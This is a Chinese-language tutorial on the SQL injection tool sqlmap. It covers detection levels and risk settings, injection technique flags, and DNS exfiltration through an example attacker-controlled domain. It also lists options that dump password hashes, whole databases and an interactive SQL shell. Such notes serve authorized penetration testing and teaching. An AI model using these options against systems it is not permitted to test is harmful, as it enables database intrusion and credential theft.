一、sqlmap的基本使用
指定检测级别
sqlmap使用的payloads直接从文本文件xml/payloads.xml中载入
根据该文件顶部的相关指导说明进行设置,如果sqlmap漏过了特定的注入,
你可以选择自己修改指定的payload用于检测
level有5级,级别越高检测越全,默认为1
- -level 1 默认等级,执行基本的SQL注入测试和一些常见的payloads
- -level 2 在Level 1的基础上,增加了对HTTP Cookie的测试
- -level 3 在Level 2的基础上,增加了对HTTP User-Agent和Referer头部的测试
- -level 4 进一步增加更复杂的payloads和测试方法
- -level 5 最高等级,包含所有payloads,会自动破解Cookie、XFF等头部注入,提供最全面的测试
risk有3级,级别越高风险越大,默认为1
- -risk 2 会在默认的检测上添加大量时间型盲注语句测试
- -risk 3 会在原基础上添加OR类型的布尔型盲注,可能会update到时修改数据库,有很大的风险
页面对比
选项:--string,--not-string,--regexp 和 --code
默认区分一个True 查询和 False 查询(布尔型盲注背后的相关理念概念)是通过对比注入前后返回的结果是否一致进行判断的。
不过这个参照方法并不一定有效,因为可能就算没有进行注入,页面内容也会进行相应更新。例如:页面上有计算器、动态的广告横幅、或者任何基于时间而非用户输入内容进行动态渲染的内容。为了避免类似的情况,sqlmap会尽可能尝试识别出对应的代码段所返回请求内容并做好相关的处理
如果用户知道可以通过HTTP状态码区分True查询和False查询(例如:200对应True,401对应False),那么可以向sqlmap提供对应的信息。(例如:--code=200)
开关:--text-only 和 --titles
如果用户知道可以通过HTML标题区分True查询和False查询(例如:Welcome对应True,Forbidden对应False),那么可以使用--titles开启基于标题对比的开关
如果HTTP响应报文中存在无效信息(例如:脚本、镶嵌元素等),可以通过过滤页面的内容(开关 --text-only)而只获取文本内容。通过这种方式,大多数情况下,这样会自动调优检测引擎
指定注入类型
以下选项用于调整特定SQL注入技术的测试方法
--technique=TECH #使用的SQL注入技术(默认为“BEUSTQ”)
B:Boolean-based blind SQL injection(布尔型盲注)
E:Error-based SQL injection(报错型注入)
U:UNION query SQL injection(联合查询注入)
S:Stacked queries SQL injection(堆查询注入)
T:Time-based blind SQL injection(时间型盲注)
Q:inline Query injection(内敛查询注入)
例如,如果仅测试利用报错型注入和堆叠查询注入,你可以提供ES
--time-sec=TIMESEC #设置延时注入时间(默认为5)
--second-order=S.. #设置二阶响应的结果显示页面的URL(该选项用于二阶 SQL 注入)
--dns-domain #DNS 渗出攻击
如果用户正控制这一台注册为DNS域名服务器的主机(例如:域名attacker.com),则可以使用该选项(例如:--dns-domain attacker.com)来启用此攻击。它的前提条件是使用Administrator(即管理员)权限(因为需要特权端口53)运行sqlmap,这时可以使用常用的(盲注)技术来进行攻击。如果已经识别出一种有效攻击方式(最好是时间型盲注),则这种能够加速获取数据的过程。如果报错型注入或联合查询注入技术可用,则默认情况下将跳过DNS渗出攻击测试。
枚举信息
以下选项用于获取数据库的信息,结构和数据表中的数据
- -a,--all #获取所有信息、数据
- -f,--fingerprint #采用特定SQL方言或者内带特定错误信息等技术开展详细的DBMS指纹识别
- -b,--banner #获取 DBMS banner,返回数据库的版本号
- --current-user #获取 DBMS 当前用户
- --current-db #获取 DBMS 当前数据库
- --hostname #获取 DBMS 服务器的主机名
- --is-dba #探测 DBMS 当前用户是否为DBA(数据库管理员)
- --users #枚举出 DBMS 所有用户
- --passwords #枚举出 DBMS 所有用户的密码哈希
- --privileges #枚举出 DBMS 所有用户特权级
- --roles #枚举出 DBMS 所有用户角色
- --dbs #枚举出 DBMS 所有数据库
- --tables #枚举出 DBMS 数据库中的所有表,--exclude-sysdbs 以排除所有的系统数据库,对于Oracle,你需要提供 TABLESPACE_NAME 而不是数据库名称
- --columns #枚举出 DBMS 表中的所有列,对于 PostgreSQL,你需要提供 public 或系统数据库的名称。这是因为不可能枚举其他数据库表,只能枚举出 Web 应用程序用户连接到的数据库模式下的表,它们总是以 public 为别名
- --schema #枚举出 DBMS 所有模式
- --count #获取数据表数目
- --dump-all #如果当前会话用户的读取权限允许,可以一次导出所有数据库表条目
- --dump #导出 DBMS 数据库表项
- --search,-C,-T,-D #此开关允许你在所有数据库中搜索特定的数据库名和表名,在特定的数据表中搜索特定的列名
- --stop 10 #只取前10行数据
- -D DB #指定要枚举的 DBMS 数据库
- -T TBL #指定要枚举的 DBMS 数据表
- -C COL #指定要枚举的 DBMS 数据列
- --sql-query=QUERY #指定要执行的SQL语句
- --sql-shell #调出交互式SQL shell